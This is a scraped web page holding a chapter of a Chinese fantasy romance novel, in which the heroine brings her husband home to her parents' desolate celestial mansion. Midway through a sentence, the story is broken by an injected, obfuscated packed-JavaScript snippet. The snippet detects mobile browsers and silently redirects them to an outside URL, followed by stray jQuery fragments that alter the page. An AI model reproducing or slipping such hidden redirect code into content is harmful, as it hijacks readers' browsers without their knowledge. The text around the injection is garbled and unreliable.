默认冷灰
24号文字
方正启体

164. 烬中焰(十六)

作者:七栀水本书字数:K更新时间:
    守卫目光迟疑地掠过文可烟身后的阿轩与芯核,“这二位是……”


    “我的朋友。”


    一时间,南天门前寂静无声。守卫们面面相觑,无人敢再出声。


    “怎么?”文可烟视线陡然转冷,直直刺向那个提问的守卫,“难道我连带朋友进门都不行了?”


    “……”那守卫瞥了一眼文可烟身后的一鬼一妖,终是低下了头去,“不、不敢。”


    守卫们纷纷退至两侧,让出通道。


    眼前的云路自两侧缓缓开启,霞光万丈,气势恢宏。


    至于,羿逸安,想来该是早已先他们一步抵达了。


    果然,刚行出数里,便见那道熟悉的身影静立云海之中。


    也是在此处,齐云与他们分道扬镳,朝着另一方向离去。


    “走吧。”文可烟望着齐云远去的背影,转过头对众人说。


    手腕却被熟悉的力道轻轻握住。


    “我们去哪儿?”


    文可烟头也不回,“自是回我家。”


    手上的力道又紧了几分,一拽。


    “如此回去,你……”羿逸安欲言又止。


    文可烟终于好奇回过头,等待他的下文。


    羿逸安抬眼,顿了顿才开口:“你父母亲……”


    外界那些传言羿逸安自是听过不少,说文可烟不过是她父母亲用来攀附天庭的一枚棋子,美其名曰义女。后来天庭将她远嫁魔尊,在天庭众人眼中更是顺理成章。毕竟是个无依无靠的孤女,爹不疼娘不爱的,合该被当作维系两界关系的筹码……


    诸如此类,不胜枚举。


    “怎么?”文可烟睁着清澈的双眼,坦然回望。


    “……没什么。”


    羿逸安松开了手,心中却做足了随时出手的准备。


    文可烟疑惑看了羿逸安片刻,见他已经转身向前,连忙快步跟上。


    而阿轩与芯核交换了一个眼神,默默随j在后方。


    不多时,一座金碧辉煌的府邸立于眼前。朱门高阔,云匾流光,门前石阶洁净如琉璃,这般显赫门庭,倒是让那些传言又坐实了几分。


    连文可烟都忍不住眨眨眼,惊恐于那群尊者的大手笔,也惊叹于自己的“身价”。


    这……这还是她家吗?


    她不敢相信地往里侧掠去一眼。


    虽然院内依旧气派,可深处的寂寥氛围却与这浮华格格不入,反倒像一座被遗弃了千万年的废宫,连风穿过回廊的声音都显得格外荒凉。


    这般景象,整得文可烟都不太敢迈开步子往里进。


    “怎么?”这次换羿逸安察觉到文可烟的犹豫。


    文可烟一口气堵在胸口。


    这,让她如何解释。


    这到底是不是她家啊?


    这要是多年未归,连自家门庭都认错,岂不荒唐?


    岂不是要成为天界这等闲人的笑柄,让人嚼舌根嚼到四海八荒去?


    “小……小……小殿下!”一声带着颤音的惊呼从荒凉的庭院深处传来。


    文可烟吓得肩头一颤。


    紧接着,那道声音又激动地扬高,朝院内深处连连喊道:


    “殿下,夫人,小殿下回来了!”


    “殿下,夫人,小殿下回来了!”


    “小殿下回来了!”


    侍女接连传报了好几声,可被呼唤的人却迟迟未见踪影。


    羿逸安脸沉下几个度,对传言更加深信不疑了。


    文可烟倒是松下一口气,拉着羿逸安就要往里走,却发现往常轻轻一牵就动的人,现下就像生了根似的,怎么用力都纹丝不动。


    她不解回首,“怎么?”


    “……无碍。”


    文可烟一愣,听着这声了无情绪的“无碍”,院中的荒凉寂寥之感反而更重了。


    走进去,才发觉方才在门外所见不过是冰山一角。这里面的景象,比想象中还要萧条破败,荒凉无度。


    她正想对身旁气息愈发冷峻的羿逸安解释些什么,那个传话的侍女去而复返。


    “小……小殿下,仙君说,请小殿下去偏殿侧厅等候。”


    “……”


    四周陷入一片压抑的寂静。


    羿逸安周身的气息似乎能将眼前这个传话的侍女立即冻结。


    “好,你先退下吧。”文可烟急忙打发走侍女,悄悄挪到羿逸安身边,试探着牵住他的手。


    幸好,羿逸安并未甩开。


    她悄悄松了口气,指尖收拢,将他温热的手掌握得紧了些,心里却有些发虚。


    那个啥,这么久未归,一回来就让她这个名正言顺的夫君遭受如此冷待,也不是她的错嘛!


    当然不是文可烟的错,只不过目前状况,怎么看都像是她的错。


    比如此时此刻此地,文可烟坐在交椅上,只觉得如坐针毡。


    眼前是负手而立、面色清冷的羿逸安,再往后,是随羿逸安一同站得笔直的芯核,以及跟着芯核、同样不落座的阿轩。


    三道身影像三座沉默的山,压得这本就不太宽广的偏殿侧厅愈发逼仄。


    文可烟:“……”


    她瞟了眼落于自己身前的三位“门神”,无言片刻后,生硬开口:“坐。”


    羿逸安朝她递来一个淡淡的眼神,好似在无声反问,“我们配吗?”


    约莫僵持一个时辰,门外终于传来声响,月衍仙君姗姗来迟。


    视线扫过众人,在文可烟处顿了一会儿,眼眶竟隐隐泛红。可下一瞬,却终是别开脸,看向别处。


    “阿爹。”


    月衍仙君眼珠猛地一颤,那双举起来示意的手也微微发抖,根本不敢循声望去,整个人僵在原地。


    “阿爹!”


    终于确认不是幻听,月衍仙君却仍是略显迟疑地转向文可烟。


    积蓄已久的泪水,在父女目光相触的刹那夺眶而出。


    月衍仙君怔怔地望着她,声音里止不住地轻颤,不确定道:“……烟儿?”


    “阿爹,是我。”


    月衍仙君三步并作两步,疾行至文可烟身前,双臂颤巍巍张开,却又在半空中顿住,“烟儿,真的是你吗?”


    月衍仙君想触碰又不敢轻易触碰,生怕下一秒文可烟便会立刻消失,“你终于……回来了。”


    “阿娘呢?”


    月衍仙君泪水登时收住,有些慌乱地背过身去,连声音都染上几分仓促:“她,她近来身子不适。你阿娘一直、一直盼着你回来……”


    羿逸安眸光骤冷。


    他在说什么东西?


    如此怠慢,又是候着,至今连正殿都不曾踏入,竟还有脸说“一直在盼着她回来”?


    羿逸安指节微屈,正欲上前好好收拾一番,文可烟却已越过他先一步上前,“我去看看阿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015207|184831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘。”


    月衍仙君忙不迭跟上前,语气中是过分殷勤的小心,甚至有些语无伦次:“烟儿,这边。你许久没回来了,怕是都忘了家里什么样了……”


    “烟儿,这儿有台阶……”


    “烟儿,小心门槛……”


    “烟儿,你瞧瞧,你都瘦了……”


    月衍仙君絮絮叨叨的关切,总算为这冷清的庭院添上了几分稀薄的烟火气息。


    可惜的是,栖梧灵主已然安睡。


    文可烟轻手轻脚地退出寝殿,仔细掩好房门,这才后知后觉发现羿逸安不见了踪影。


    待回到偏殿侧厅,见到的景象堪称世界奇观。


    羿逸安三人仍保持着先前的姿势立在原地,也不知站了多久,连影子都像是凝在了地上。


    “……”


    文可烟迟疑地走近,羿逸安淡淡瞥来一眼,唇角微抿,周身都透着说不清的郁结,也不知在闹什么别扭。


    “走吧,我带你们去客房歇息。”


    羿逸安闻言转身,玄色衣袂在风中轻扬,辨不出情绪。


    似乎还在等待些什么,可文可烟已径直越过他,走在最前方。


    羿逸安怔了一下,指尖无意识动了动,缓缓收拢成拳,一手虚抵在身前,另一手负在身后,默然跟上了文可烟的脚步。


    芯核与阿轩走在队伍末端。


    这一行人各怀心事,步履沉沉,越看越别扭。


    约莫一炷香的时间,文可烟停在一方清雅僻静的小院前。


    将芯核与阿轩安顿妥当后,羿逸安又是一副在等待什么的姿态,文可烟却仍是目不斜视越过他,独自走在前方。


    羿逸安身形明显一顿,终是什么也没说,只是保持两三步的距离,缓步跟在之后。


    穿过几重月洞门,文可烟在一处隐蔽清幽的庭院前驻足。


    羿逸安却比文可烟先开了口:“你不怨你阿爹阿娘?”


    文可烟明显一滞,眼神在这一刻闪过细微变化,随即抬眼:“……不怨。”


    “为何,他们不是……”


    “不怨便是不怨,何须缘由。”文可烟轻声打断。


    羿逸安眼中闪过片刻茫然,若有所思地颔首。


    文可烟移开视线,用眼神示意廊下那间厢房:“你的住处。”


    羿逸安侧目打量院中陈设,忽然意识到什么,问:“我们不住在一处?”


    “我房中的床榻窄小,容不下两人。”


    “那你可以过来……”


    “我许久未见阿爹阿娘,也很久没住过从前的屋子了。”文可烟奋力扬起一个自然的笑,眼底却没什么温度,“那边景致虽好,却不及此处隐蔽。所以.....”


    饶是羿逸安再如何故作淡然,此刻也不由垂下眼眸,声音轻得几乎散在风里:“……这样啊。”


    话音落下,两人都立在原地,似乎在等对方先转身,却谁都没有动。


    最后的最后,文可烟抬起明亮的眼眸,看向羿逸安:“……阿爹阿娘还在等我,我先过去了。”


    “好。”


    “嗯。”


    羿逸安盯着文可烟渐渐远去的背影,只觉得胸口某处也跟着一点点空了下去,泛起细微的涩意。


    文可烟一只脚甫一踏进院门,屋内便传来响亮的一声:“烟儿!”


    蓦地一抬头,月衍仙君正搀扶着栖梧灵主立在庭院中央。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)